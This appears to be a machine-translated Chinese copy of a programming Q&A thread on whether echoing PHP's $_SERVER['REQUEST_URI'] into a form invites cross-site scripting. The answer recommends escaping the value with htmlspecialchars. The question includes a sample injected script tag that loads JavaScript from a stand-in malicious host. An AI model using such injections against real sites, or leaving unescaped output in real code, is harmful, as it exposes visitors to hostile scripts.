在表单中使用$ _SERVER [' REQUEST_URI']会带来安全风险

时间:2014-07-05 22:00:25

标签: php security

我使用echo $_SERVER['REQUEST_URI'];将HTML表单的部分输出给用户。

我担心跨站点脚本攻击的可能性,其中可以将指向异地JavaScript文件的链接注入页面。但是,我无法过滤" ="在我的输出中,因为它是我的查询字符串的相关部分。可能过滤等于符号输出就足以防止CSS攻击?或者只是一种不好的做法(在表单中使用用户生成的GET查询字符串)?

这是潜在的漏洞:

//Attacker types this into the browser:
vulnerabilesite.com/=query=?querystringhere/?<script type="text/javascript">       
maliciouswebsite.com/js.js</script>
//People viewing the website using that link will now execute the following code:
<script type="text/javascript"> /link-to-malicious-javascript </script>

1 个答案:

答案 0 :(得分:1)

使用以下htmlspecialchars调用安全地转义$_SERVER['REQUEST_URI']内容和属性,即使您对HTML属性使用单引号也是如此。如果使用UTF-8以外的编码,请确保替换正确的编码。

echo htmlspecialchars( $_SERVER['REQUEST_URI'], ENT_QUOTES, 'UTF-8' );

这与CodeIgniter框架中html_escape函数使用的代码相同。

可替换地:

echo htmlspecialchars( $_SERVER['REQUEST_URI'], ENT_QUOTES | ENT_HTML5, 'UTF-8' );